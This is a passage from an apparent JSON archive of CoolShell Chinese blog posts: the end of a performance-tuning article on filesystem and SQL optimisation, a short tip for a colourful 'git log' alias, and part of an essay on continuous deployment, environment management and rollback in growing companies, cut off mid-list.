固态硬盘，速度超快，但是写次数有限。\n\n\n接下来，我们就可以调优文件系统配置了，对于Linux的Ext3/4来说，几乎在所有情况下都有所帮助的一个参数是关闭文件系统访问时间，在/etc/fstab下看看你的文件系统 有没有noatime参数（一般来说应该有），还有一个是dealloc，它可以让系统在最后时刻决定写入文件发生时使用哪个块，可优化这个写入程序。还要注间一下三种日志模式：data=journal、data=ordered和data=writeback。默认设置data=ordered提供性能和防护之间的最佳平衡。\n\n\n当然，对于这些来说，ext4的默认设置基本上是最佳优化了。\n\n\n这里介绍一个Linux下的查看I/O的命令—— iotop，可以让你看到各进程的磁盘读写的负载情况。\n\n\n其它还有一些关于NFS、XFS的调优，大家可以上google搜索一些相关优化的文章看看。关于各文件系统，大家可以看一下这篇文章——《[Linux日志文件系统及性能分析](http://www.ibm.com/developerworks/cn/linux/l-jfs/)》\n\n\n**4.5）数据库调优**\n\n\n数据库调优并不是我的强项，我就仅用我非常有限的知识说上一些吧。注意，下面的这些东西并不一定正确，因为在不同的业务场景，不同的数据库设计下可能会得到完全相反的结论，所以，我仅在这里做一些一般性的说明，具体问题还要具体分析。\n\n\n**A）数据库引擎调优**\n\n\n我对数据库引擎不是熟，但是有几个事情我觉得是一定要去了解的。\n\n\n* **数据库的锁的方式**。这个非常非常地重要。并发情况下，锁是非常非常影响性能的。各种隔离级别，行锁，表锁，页锁，读写锁，事务锁，以及各种写优先还是读优先机制。性能最高的是不要锁，所以，分库分表，冗余数据，减少一致性事务处理，可以有效地提高性能。NoSQL就是牺牲了一致性和事务处理，并冗余数据，从而达到了分布式和高性能。\n* **数据库的存储机制**。不但要搞清楚各种类型字段是怎么存储的，更重要的是数据库的数据存储方式，是怎么分区的，是怎么管理的，比如Oracle的数据文件，表空间，段，等等。了解清楚这个机制可以减轻很多的I/O负载。比如：MySQL下使用show engines;可以看到各种存储引擎的支持。不同的存储引擎有不同的侧重点，针对不同的业务或数据库设计会让你有不同的性能。\n* **数据库的分布式策略**。最简单的就是复制或镜像，需要了解分布式的一致性算法，或是主主同步，主从同步。通过了解这种技术的机理可以做到数据库级别的水平扩展。\n\n\n**B）SQL语句优化**\n\n\n关于SQL语句的优化，首先也是要使用工具，比如：[MySQL SQL Query Analyzer](http://www.mysql.com/products/enterprise/query.html)，[Oracle SQL Performance Analyzer](http://www.oracle-base.com/articles/11g/sql-performance-analyzer-11gr1.php)，或是微软[SQL Query Analyzer](http://msdn.microsoft.com/en-us/library/aa216945(v=sql.80).aspx)，基本上来说，所有的RMDB都会有这样的工具，来让你查看你的应用中的SQL的性能问题。 还可以使用explain来看看SQL语句最终Execution Plan会是什么样的。\n\n\n还有一点很重要，数据库的各种操作需要大量的内存，所以服务器的内存要够，优其应对那些多表查询的SQL语句，那是相当的耗内存。\n\n\n下面我根据我有限的数据库SQL的知识说几个会有性能问题的SQL：\n\n\n* **全表检索**。比如：select \\* from user where lastname = “xxxx”，这样的SQL语句基本上是全表查找，线性复杂度O(n)，记录数越多，性能也越差（如：100条记录的查找要50ms，一百万条记录需要5分钟）。对于这种情况，我们可以有两种方法提高性能：一种方法是分表，把记录数降下来，另一种方法是建索引（为lastname建索引）。索引就像是key-value的数据结构一样，key就是where后面的字段，value就是物理行号，对索引的搜索复杂度是基本上是O(log(n)) ——用B-Tree实现索引（如：100条记录的查找要50ms，一百万条记录需要100ms）。\n\n\n* **索引**。对于索引字段，最好不要在字段上做计算、类型转换、函数、空值判断、字段连接操作，这些操作都会破坏索引原本的性能。当然，索引一般都出现在Where或是Order by字句中，所以对Where和Order by子句中的子段最好不要进行计算操作，或是加上什么NOT之类的，或是使用什么函数。\n\n\n* **多表查询**。关系型数据库最多的操作就是多表查询，多表查询主要有三个关键字，EXISTS，IN和JOIN（关于各种join，可以参看[图解SQL的Join](https://coolshell.cn/articles/3463.html \"图解SQL的Join\")一文）。基本来说，现代的数据引擎对SQL语句优化得都挺好的，JOIN和IN/EXISTS在结果上有些不同，但性能基本上都差不多。有人说，EXISTS的性能要好于IN，IN的性能要好于JOIN，我各人觉得，这个还要看你的数据、schema和SQL语句的复杂度，对于一般的简单的情况来说，都差不多，所以千万不要使用过多的嵌套，千万不要让你的SQL太复杂，宁可使用几个简单的SQL也不要使用一个巨大无比的嵌套N级的SQL。还有人说，如果两个表的数据量差不多，Exists的性能可能会高于In，In可能会高于Join，如果这两个表一大一小，那么子查询中，Exists用大表，In则用小表。这个，我没有验证过，放在这里让大家讨论吧。另，有一篇关于SQL Server的文章大家可以看看《[IN vs JOIN vs EXISTS](http://explainextended.com/2009/06/16/in-vs-join-vs-exists/)》\n\n\n* **JOIN操作**。有人说，Join表的顺序会影响性能，只要Join的结果集是一样，性能和join的次序无关。因为后台的数据库引擎会帮我们优化的。Join有三种实现算法，嵌套循环，排序归并，和Hash式的Join。（MySQL只支持第一种）\n\n\n+ 嵌套循环，就好像是我们常见的多重嵌套循环。注意，前面的索引说过，数据库的索引查找算法用的是B-Tree，这是O(log(n))的算法，所以，整个算法复法度应该是O(log(n)) \\* O(log(m)) 这样的。\n+ Hash式的Join，主要解决嵌套循环的O(log(n))的复杂，使用一个临时的hash表来标记。\n+ 排序归并，意思是两个表按照查询字段排好序，然后再合并。当然，索引字段一般是排好序的。\n\n\n还是那句话，具体要看什么样的数据，什么样的SQL语句，你才知道用哪种方法是最好的。\n\n\n* **部分结果集。**我们知道MySQL里的Limit关键字，Oracle里的rownum，SQL Server里的Top都是在限制前几条的返回结果。这给了我们数据库引擎很多可以调优的空间。一般来说，返回top n的记录数据需要我们使用order by，注意在这里我们需要为order by的字段建立索引。有了被建索引的order by后，会让我们的select语句的性能不会被记录数的所影响。使用这个技术，一般来说我们前台会以分页方式来显现数据，Mysql用的是OFFSET，SQL Server用的是FETCH NEXT，这种Fetch的方式其实并不好是线性复杂度，所以，如果我们能够知道order by字段的第二页的起始值，我们就可以在where语句里直接使用>=的表达式来select，这种技术叫seek，而不是fetch，seek的性能比fetch要高很多。\n\n\n* **字符串**。正如我前面所说的，字符串操作对性能上有非常大的恶梦，所以，能用数据的情况就用数字，比如：时间，工号，等。\n\n\n* **全文检索**。千万不要用Like之类的东西来做全文检索，如果要玩全文检索，可以尝试使用[Sphinx](http://sphinxsearch.com/)。\n\n\n* **其它**。\n\t+ 不要select \\*，而是明确指出各个字段，如果有多个表，一定要在字段名前加上表名，不要让引擎去算。\n\t+ 不要用Having，因为其要遍历所有的记录。性能差得不能再差。\n\t+ 尽可能地使用UNION ALL  取代  UNION。\n\t+ 索引过多，insert和delete就会越慢。而update如果update多数索引，也会慢，但是如果只update一个，则只会影响一个索引表。\n\t+ 等等。\n\n\n关于SQL语句的优化，网上有很多文章， 不同的数据库引擎有不同的优化技巧，正如本站以前转发的《[MySQL性能优化的最佳20+条经验](https://coolshell.cn/articles/1846.html)》\n\n\n先写这么多吧，欢迎大家指正补充。\n\n\n\n> **注：**这篇文章的确是个大杂烩。其实其中的说到的很多技术在网上都有很多很多的技术文章，google一下就能找到一堆有很多细节的文章，所以我也就不写了。这篇性能调优的文章写作的动机是之前看到 [@淘宝褚霸](http://weibo.com/n/%E6%B7%98%E5%AE%9D%E8%A4%9A%E9%9C%B8) 强推的[highscalability.com](http://highscalability.com/)上的这篇文章：[Big List Of 20 Common Bottlenecks](http://highscalability.com/blog/2012/5/16/big-list-of-20-common-bottlenecks.html)，觉得这篇文章泛泛而谈，觉得自己能写得比它好，所以就产生了动机。\n> \n> \n\n\n（**转载时请注明作者和出处，请勿用于商业用途**）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![HTTP的前世今生](../wp-content/uploads/2019/10/HTTP-770x513-300x200-1-150x150.jpg)](https://coolshell.cn/articles/19840.html)[HTTP的前世今生](https://coolshell.cn/articles/19840.html)\n* [![Alan Cox：单向链表中prev指针的妙用](../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg)](https://coolshell.cn/articles/9859.html)[Alan Cox：单向链表中prev指针的妙用](https://coolshell.cn/articles/9859.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\nThe post [性能调优攻略](https://coolshell.cn/articles/7490.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-6-24 Git显示漂亮日志的小技巧.md",
    "content": "---\nlayout: post\ntitle: Git显示漂亮日志的小技巧\ndate: 2012/6/24/ 15:29:5\nupdated: 2012/6/24/ 15:29:5\nstatus: publish\npublished: true\ntype: post\n---\n\n原文：<http://garmoncheg.blogspot.com/2012/06/pretty-git-log.html> （墙）\n\n\nGit的传统log如下所示，你喜欢吗？\n\n\n![](../wp-content/uploads/2012/06/git.log_.01.png \"默认的Git的log\")\n\n\n看看下面这个你喜不喜欢？（点击图片看大图）\n\n\n\n[![](../wp-content/uploads/2012/06/git.log_.02.png \"改进版的Git的日志\")](https://coolshell.cn/wp-content/uploads/2012/06/git.log_.02.png)\n\n\n要做到这样，命令行如下：\n\n\n`git log --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --`\n\n\n这样有点长了，我们可以这样：\n\n\n`git config --global alias.lg \"log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit --\"`\n\n\n然后，我们就可以使用这样的短命令了：\n\n\n`git lg`\n\n\n如果你想看看git log –pretty=format的参数，你可以看看[这篇文章](http://git-scm.com/book/zh/Git-%E5%9F%BA%E7%A1%80-%E6%9F%A5%E7%9C%8B%E6%8F%90%E4%BA%A4%E5%8E%86%E5%8F%B2)。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![版本管理器的发展史](../wp-content/uploads/2010/11/scmhistory-150x150.png)](https://coolshell.cn/articles/3288.html)[版本管理器的发展史](https://coolshell.cn/articles/3288.html)\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\nThe post [Git显示漂亮日志的小技巧](https://coolshell.cn/articles/7755.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-6-25 持续部署，并不简单！.md",
    "content": "---\nlayout: post\ntitle: 持续部署，并不简单！\ndate: 2012/6/25/ 0:20:8\nupdated: 2012/6/25/ 0:20:8\nstatus: publish\npublished: true\ntype: post\n---\n\n\n【**感谢 [@常新居士](http://weibo.com/renfake) 投递此文** 】\n\n\n这几年，持续集成随着敏捷在国内的推广而持续走热，与之相伴的持续部署也一直备受关注。**自前两年，持续交付这个延续性概念又闯进了国内IT圈，慢慢开始在社区和会议中展露头角。许多不明真相的群众跟风哭着喊着要“上”，而许多前CI的半吊子玩家换件衣服就接着干，有的甚至衣服都来不及换……**。国内的这些土财主如果不巧请了某些所谓的战略家，除了建了一堆持续集成环境，以及每天嚷嚷着要这个要那个，混乱的状况在根本上没有得到改善。本文无意费力探讨持续集成和持续交付的概念，而是打算谈谈对于大型软件企业，以持续集成为基础实现持续部署（交付）时，所要面对的问题以及可行的解决方案。地主老财们，夜黑风正猛，山高路又远，注意脚下……\n\n\n**And God Said, Let there be light: and there wa**— GENSIS, Charpter 1, King James\n\n\n#### 一、起步\n\n\n先来讲个故事……\n\n\n几年前，一对留美的夫妇通过朋友找到我，让我帮忙在国内组建一个开发团队，该团队负责为其开发一款基于社交网络的客户关系管理软件,（暂且称之为项目A）。这个项目除了尚不清晰的需求范围和很紧的期限外，作为业内人士的老公Richard根据眼下流行的软件开发过程还提了诸多额外的要求：\n\n\n* **功能要及早交付**（以便拿去和潜在的投资人洽谈）\n* **功能在部署到生产环境前要先部署的一个测试环境**（Richard要试用后给予反馈）\n* **功能必须经过测试**（长期作为软件外包的甲方，对质量要求严格）\n* **要减少后期维护的工作**（美国人精贵，少雇一个是一个）\n* **支持协同开发**（以便维护人员及早介入）\n* ……\n\n\n**这正是持续集成所要解决的典型场景**。针对Richard的要求，我们只要建立一个基于Hudson（现在叫Jenkins）+Maven +SVN 的持续集成环境（再加上持续集成所要求的测试和过程）就可以很好地满足上述要要求，此方案的结构如下：\n\n\n\n[![](../wp-content/uploads/2012/06/hudsonCI2.jpg)](https://coolshell.cn/?attachment_id=7686)\n\n\n对于上述方案，让我们近距离看看各个服务器的内部情况，以及人员在这种方案下的分工协作：\n\n\n[![](../wp-content/uploads/2012/06/response.jpg)](https://coolshell.cn/?attachment_id=7708)\n\n\n我们先谈谈上面的图中涉及的一些概念性问题：\n\n\n##### **1.1）编译时依赖**和**运行时依赖**\n\n\n从字面上不难理解这两种依赖的类型。但要注意虽然编译时依赖常常也是运行时依赖，但并不能推断出一方必然是另一方。比如，在开发的过程中需要某些提供API的Jar包，而运行时可能是具体API实现的Jar包。再者，被依赖的包会有其自身的依赖，因此,项目对这些包产生间接依赖（**运行时依赖**），依此类推，最终形成一个**依赖树**。当项目运行时，这些依赖树上的包必须全部就位。\n\n\nMaven在POM中通scope来界定依赖的类型，从而帮助开发和运维人员摆脱手动处理依赖树的工作，然而运行时所依赖包最终是要安装到生产环境的，这部分工作Maven并不能自动完成。因此，一个常用方式是将运行时所依赖的包拷贝到项目文件中，比如Java Web应用的WEB-INF/lib，然后将项目总的打一个包。**在安装项目包后，修改环境变量，将这些包所在的路径加入相应的环境变量中，如ClassPath**。\n\n\n再看个例子，现代的操作系统和其它系统框架都考虑到了运行时依赖树的处理问题，比如Ubuntu的apt-get，CentOS的yum，Ruby的RubyGem，Node的npm等等。\n\n\n##### 1.2）依赖时的复杂度\n\n\n项目除了对程序包的依赖，对于运行环境也有些具体的要求，比如，Web应用需要安装和配置Web服务器，应用服务器，数据服务器等，企业应用中可能需要消息队列，缓存，定时作业，或是对其它系统以Web Service方式暴露的服务。这些可以看做项目在系统层面对外部的依赖。这些依赖有些可以由项目自行处理，而有些则是项目无法处理的，比如运行容器，操作系统等，这些是项目的运行环境。\n\n\n总之，依赖的复杂度主要有两个：\n\n\n1. 依赖包间的版本兼容性问题。兼容性问题是软件开发的恶梦\n2. 间接依赖，或多重依赖问题。这个问题可以类比想像一下C++中的多重继续种出现的很多问题。\n\n\n比如：Ａ依赖于python 2.7，A还依赖于B，但是B却依赖于python 3，而Python 2.7和Python 3不兼容。这是依赖中最恶心的事。\n##### 1.3）任务分工\n\n\n由于项目简单，因此并不需要专门的运维人员。以一个100人左右以交付为主业（恩，就是做外包）的公司为例，由于没有任何历史项目和代码的拖累，且各个项目间也没有任何关联，故而只需要配备一个IT支持人员进行资源方面的管理：分配机器，报修，初始化系统，分配IP地址等。各个项目的运行环境、数据库、开发环境等都由具体项目的开发人员手动完成。 环境出问题怎么办？很简单，凉拌——重装系统。实际的运行效果不错。\n\n\n##### 1.4）自动化部署\n\n\n由于Hudson这样的持续集成环境提供了自动编译（定时或触发式）的功能，而且可以在编译过程中提供了一些扩展点，因此通过提供一个部署用的脚本，就可以非常容易实现简单的自动化部署。\n\n\n毫无疑问，持续集成就是敏捷的魔法药，它见效快、副作用小、业界的争论少。每每运用在混乱的项目中时，几周内项目就开始持续的产出经过测试的功能。对于独立项目，以持续集成为中心的持续部署绝对是不二选择。\n\n\n**但是，我们有没有想过，这会是一个自动化部署的通用解决方案吗？持续集成应该位于持续交付的中心吗？**\n\n\n#### 二、困境\n\n\n回到我们的故事：项目A上线两年后，运营业绩不错，投资人第一轮注资后，Richard的公司进行了扩张，他们对项目进行了重构，而且随着用户数量的增长，公司分别在美国、英国和日本等地建立了运营中心，并且对亚洲市场进行的定制功能开发（项目A+），接下来，公司又投入开发了团购系统（项目B）。在获得了新一轮投资后，各条本来比较简单的业务和功能线上越来越复杂，需要不断地细分，于是公司再度扩张（开发人员达到了300人，国内200多人，而运维团队主要在美国），随后又为项目A/A+的高级用户开发了问答系统（项目C）。目前，他们正准备开发手机系统。 看看下面的图，公司增长的过程中，整个项目环境也变得复杂。（注意，这里是一种逻辑结构，而在物理层面项目B和项目A的生产环境可能部署在相同的机器上）。\n\n\n[![](../wp-content/uploads/2012/06/sampleT1-1024x529.jpg)](https://coolshell.cn/?attachment_id=7694)\n\n\n同时，原本单一的项目软件结构随着业务系统的增加也不再简单： ![](../wp-content/uploads/2012/06/software.jpg)\n\n\n而软件间的版本依赖使这个问题变得更为复杂：\n\n\n[![](../wp-content/uploads/2012/06/dependency.jpg)](https://coolshell.cn/?attachment_id=7700)\n\n\n现在，Richard的公司已经不再是一条快乐的小鱼，而是渐渐成为一直庞大的巨兽。虽然只有四个产品，但公司却要支持几百台开发机，几十台生产服务器，还有对应的测试环境，数据库服务器，以及几十个开发小组，和一大堆的内部项目。我们尽可以使用持续集成来为我们完成自动化部署。但，**当我们为各个项目建立起持续集成环境后，它能满足我们对于持续部署的要求吗？我们前期的工作可以简化我们今后项目的持续交付的工作的难度吗？它需要我们为之建立一个庞大的运维团队，还是可以让我们能节省下每一毛钱来投入到真正的业务价值中去？**\n\n\n**让我们先来看看复杂的项目环境中的几个场景**：\n\n\n**场景1：环境升级**\n\n\n项目A和项目B都依赖于Web容器，公司决定升级Web容器版本，而公司要升级的机器有上百台，依赖人肉升级已不现实，维护团队因此针对各种软件开发了相应的自动化脚本，但当新的软件出现时，必须要开发新的脚本。而且当同时升级若干环境软件时，则难度随之增大，手工调度的方式极易出错，当升级失败时仍需要大量人工处理。由于存在大量升级脚本，有一定的维护成本。\n\n\n**场景2：依赖于环境的软件升级与回滚**\n\n\n针对环境升级，公司为项目A和项目B开发了新的版本。但环境的升级和软件的升级不是同步进行，出错的可能性非常大（想一想间接依赖和多重依赖的情况）。当新版本部署到生产系统时，发现问题，需要回滚到之前的版本——所有运行时版本都需要回滚，而且环境也需要同步回滚。几百台机器……\n\n\n**场景3：运行时依赖**\n\n\n在第一节的方案中，我们将所有的运行时依赖都打包到一起。当项目依赖关系复杂时，这样产生的包将非常臃肿，潜在地延长了部署的时间（想一想全世有几百台服务器，一个部署计划需要部署几百兆文件的情况），而且产生冲突的可能性非常大，而且对于不同类型的项目（Java和Ruby项目）缺乏通用性。06年左右，Nortel可是拿Excel统计过运行时依赖的，牵涉若干项目组，反复多次，没有个把月真搞不定。\n\n\n**场景4：泛滥的部署**\n\n\n每个项目相关的持续集成环境都需要开发自己的部署脚本，重复投入大，而且各个项目的部署过程不一致，并且对于同一个项目无法同时满足不同目的部署要求，例如，环境或系统配置参数改变后，无需安装包，只需做清理和激活的工作。最后，持续集成只是支持了和代码修改有关的部署。\n\n\n**场景5：不一致的环境**\n\n\n简单项目中，开发环境和运行环境都由开发人员搭建，当公司变大时，系统的运行环境将由运维人员搭建，而开发环境如果由运维人员搭建则工作量太大，由开发人员自己搭建则操作复杂又容易产生不一致的情况。\n\n\n**场景6：热切换**\n\n\n对于某些部署，需要尽量减少服务的停止时间，需要在服务的同时进行部署。\n\n\n这些场景只是以持续集成为中心的持续部署在面对大型企业时所遇到的部分问题。大型企业，人多，项目多，机器多，项目环境复杂，部署维护工作繁多。以持续集成为基础的部署可以解决各个项目的集成问题，却无法帮助企业应对复杂的项目环境和各种不同的部署要求。**究其更本，大型企业中的部署不再是一个简单的问题，而是一个交付生态圈，基础设施和环境管理必须要纳入考虑之中。**要实现真正意义上的持续部署，我们就必须**把环境和项目同等对待**，通通纳入管理之中。同时，部署本身要得到统一。**一个好的部署机制，应该是易于建立，易于使用，易于维护。**\n\n\n#### 三、任脉——环境管理\n\n\n什么是环境？\n\n\n系统运行所依赖和包含的一切就是其环境：硬件、操作系统，网络资源（IP地址、域名），服务容器，服务器软件配置，环境亦是，运行时依赖的命令和包，项目本身的包和配置都是环境的一部分。对于部署而言，广义上，这些通通应该纳入环境管理的范畴，但狭义上，从软件系统的角度看，一个环境就是其运行需要的软件及其配置（我们先把操作系统和网络资源当做基础设施，其在部署时已处于就位的情况）。因此：\n\n\n**项目A的生产环境 = 项目A本身的软件包 + 项目A运行时依赖的软件包 + 项目A运行时依赖的其它软件 + 项目A的配置信息**\n\n\n由于，项目本身的软件包、项目运行时依赖的软件包，以及项目运行时依赖的其它软件在本质上没有区别——都是软件，上面的定义可以进一步抽象为：\n\n\n**环境 = 软件包 + 配置信息**\n\n\n在这个定义下，我们就必须将运行环境的软件解构，并以包的形式导入到公司的整个项目资源库中，比如Apache将作为一个包被导入，而Apache依赖的其它包也将依次被导入，并建立起正确的依赖关系。而且，在导入的过程中还必须做些相应的调整，如，环境变量的读取和设置，必须来自于环境配置模块，而不要修改系统的环境变量，防止不同环境在系统环境配置上相互影响和依赖。\n\n\n再回头审视我们的示例，项目A的生产环境可以部署在不同的区域，对于各个区域可能有定制化的设定。这就像面向对象中的类，可以通过继承使子类重用父类的公有属性和行为并添加自己特有的信息。因此，环境的概念模型如图：\n\n\n[![](../wp-content/uploads/2012/06/Env.jpg)](https://coolshell.cn/?attachment_id=7725)\n\n\n通过这样的关系，我们很容易为示例的复杂环境建立一种简单的结构，对于项目A：\n\n\n[![](../wp-content/uploads/2012/06/org1.jpg)](https://coolshell.cn/?attachment_id=7729)\n\n\n这里，环境依然是处于知识层面（Knowledge Level），它并未与具体的基础设施相关联。当我们将一个环境“具现化”成一个运行系统时，我们就产生了一个真正的环境实例。在这两者之间，我们还必须要考虑环境实例的使用目的（开发？测试？……）以及安装所依赖的其它信息（如机器），因此，我们需要增加一个环境目标来集中这些信息，而且由于不同目标的环境可能会有所差别，因此，环境目标也需要配置的能力。概念模型如图：\n\n\n[![](../wp-content/uploads/2012/06/target.jpg)](https://coolshell.cn/?attachment_id=7731)\n\n\n图中的环境实例是如何产生的呢？**部署**，**一次部署可能会产生一个环境实例。**一系列部署将产生对应于环境目标的多个环境实例，除去当前起作用的环境实例外（最新的），其它的是历史环境实例。**通过在历史环境实例中切换，我们自然而然的就可以使整个环境回滚，因为项目所依赖的一切都已经成为的环境中的软件包，而且环境依赖的包的版本会随着部署具体确定下来。**如此一来，我们便可以给每个环境实例分配一个版本号，再通过环境实例的版本号与软件包的版本对应起来，从而得知一次部署时应用的具体软件包，如图：\n\n\n[![](../wp-content/uploads/2012/06/version.jpg)](https://coolshell.cn/?attachment_id=7732)\n\n\n目前的环境管理结构，已经可以解决场景1、2和5的问题。那**么对于场景2，运行时依赖，环境管理应该如何解决呢？**\n\n\n细心的朋友，可能已经发现，**在环境层面上我们确定了环境依赖的软件包**，这里有两个隐藏的含义：\n\n\n* 环境定义的是对软件包的运行时依赖\n* 由于环境是一个逻辑上的概念，因此其所用的软件包也是一个逻辑上的概念（相对于版本控制系统中的软件包）\n\n\n我们也已经知道，在部署时，一个环境实例将具体的确定其依赖的软件包的版本。某个版本的软件包最终与代码库中的物理的软件包相关联。但软件包是运行时的安装包，因此，它应该是代码库中包编译的结果。在对代码库的包编译时，既要将结果打上版本保存起来，也好在两者的版本间建立关系，最后，编译结果应该是某种既定的安装包目录文件结构。\n\n\n另外，当环境包含的包比较多时，运行时版本树会非常大，手动的指定全部的包的版本将是一个非常大的体力劳动，这部分工作也要得到简化。由此，我们必须\n\n\n\n* **建立逻辑软件包版本和版本库中软件包版本间的关系**\n* ****为相互依赖的包编译并打上统一的标签****\n* **简化运行时包依赖关系的生产**\n* **简化运行时包依赖的指定（可参考apt-get和RubyGem，环境只需指定直接依赖的包，间接依赖的包从运行时依赖树中自动导入）**\n\n\n一个可能的简单结构如下：\n[![](../wp-content/uploads/2012/06/pkg1.jpg)](https://coolshell.cn/?attachment_id=7736)\n\n\n上述讨论还没有涉及操作系统，**如果我们的运行机器要支持多个系统，我们又该怎么办？？？**\n\n\n配置信息也是个大问题，大家可以思考\n\n\n* **环境配置和应用配置如何区分？**\n* **如何简化环境配置工作？**\n* **如何使环境配置的效果只对具体环境有效，而不会泄露到环境外部？**\n\n\n\n再者，\n\n\n* **如何使应用支持多运行目标？**\n* **环境管理如何能方便开发环境的调试？**\n* **要如何简化版本的选择?**\n* ****在多个包有编译和运行时依赖时，编译时如何检查以减少引入兼容性问题的风险？****\n\n\n这些都留待大家思考。\n\n\n#### 四、督脉——部署系统\n\n\n《持续集成》和《持续交付》中都对部署有详细的讨论，不在赘述。**在我看来，部署其就是按照其目的执行一系列步骤将环境置于其目的所指向的状态中**。我们一会再回国头来看这段文绉绉的话，先看看第一部分持续集成的环境下，我们部署的步骤可能会是下面这个样子：\n\n\n1. 登陆目标机（ssh）\n2. 停止服务\n3. 清理环境\n4. 准备安装环境（创建文件夹等）\n5. 安装项目包（rsync，解压，权限设置等）\n6. 配置环境变量\n7. 启动服务\n8. ……\n\n\n而在第二部分的**情景4**中，我们看到如果对不同的持续集成环境建立不同的部署脚本和环境维护脚本，这部署过程的维护会非常繁琐。基于第三部分的环境管理，我们可以将部署过程抽象为：\n\n\n[![](../wp-content/uploads/2012/06/deploy.jpg)](https://coolshell.cn/?attachment_id=7737)\n\n\n现在回到开头那个文绉绉的描述：**部署其就是按照其目的执行一系列步骤将环境置于其目的所指向的状态中**。\n\n\n由于我们已经将部署作为环境管理的一部分，而环境又是对外提供服务的最小实体，因此，对环境的部署就是要根据部署的类型，在环境上按一定的步骤执行一系列操作，从而使环境置于部署类型所要的状态，这个过程中可能会生成对应的环境实例。举例来说，我们可能会修改环境相关的一些配置，然后重启环境，显然，这种情况下不需要下载安装软件包（没有改变），因此也就不需要生成环境实例。\n\n\n对于标准的部署——安装软件包并启动环境，可能的步骤将会是：\n\n\n1. 选择将要部署的软件包的版本\n2. 生成新的环境实例（确定环境实例的版本和其依赖包的版本，确定环境配置等）\n3. 清理和准备目标机环境\n4. 下载包\n5. 设置环境配置\n6. 环境实例切换\n7. 生成部署报告\n8. ……\n\n\n好，部署系统和环境管理各就各位，我们可以将各个项目环境纳入我们的环境管理之中，甚至是持续集成环境本身。再补充一句，要让部署系统和环境管理能很好的发挥作用，我们即需要一个简单一致的UI界面（为开发人员），也需要提供一个清晰明了的服务接口（供外部系统调用，如持续部署系统）。**对于与环境管理相关的机器状态管理，网络资源的配置等等，本文不再涉及，大家可以自己思考**。环境管理的实现、编译系统改造以及持续部署的具体实现，另作文章探讨。\n\n\n就技术而言（不考虑围绕持续部署的过程实践），环境管理、部署系统以及我们没有提及的编译系统改造才是生产线的真正引擎，持续部署不过是水到渠成的传送带而已。\n\n\n#### 五、没完\n\n\n打通了任督二脉后，事还还没有完，还有很多细节上的问题。你想，这个工具实在是太好用了，于是公司里成百上千的工程师们都在使用这个自动化部署系统，我们又会面对很多很多问题：\n\n\n* **部署系统的性能问题**。几百号人不停地在把他们的软件部署到自己的机器上，部署到测试环境，部署到生产环境，一天之内一个人可能会要部署N次，回滚N次，不但有大量部署请求，还有大量的文件在网络上传输。你得想想这套部署系统如何解决这些性能问题，还得考虑未来更大规模的性能水平扩展问题。\n\n\n* **目标机环境的管理。**在目标运行机上需要解决几个问题：1）两个环境间如果有一些的一样的包，那就没有必要再下载了，这样可以节约时间。2）每次部署都需要把老的部署环境给保留下来，这样方便在新旧环境下的切换。这两点对于在生产环境下部署非常关键。（这需要环境内所有软件的绿色安装才能更容易达到这个目标，因些，Unix/Linux会比Windows更容易做到这点）\n\n\n* **部署一致性事务问题**。有时候，我们需要同时部署若干台服务器，比如：包A到机器MA，包B到机器MB，包C到机器MC，……（Web Service的SOA架构），这些包之间有运行依赖性和兼容性问题，要么一次性全部完成，要么就全部失败。回滚也是一样的，这是一个部署事务或部署一致性的问题。如何解决呢？\n\n\n* **部署环境的版本控制问题**。前面说过，我们的一个环境就会和若干个包的版本耦合，环境必需管理要部署的包的版本。于是，当你的部署越来越多的时候，各个环境的包的版本开始出现混乱，各种依赖间的版本也会出现不统一的情况，也就是说，就算你有这样的一个工具，在一个高速开发的环境下，我们的部署环境的管理还是会出现很多混乱的情况，需要你不断地统一大家的开发、测试环境。\n\n\n* 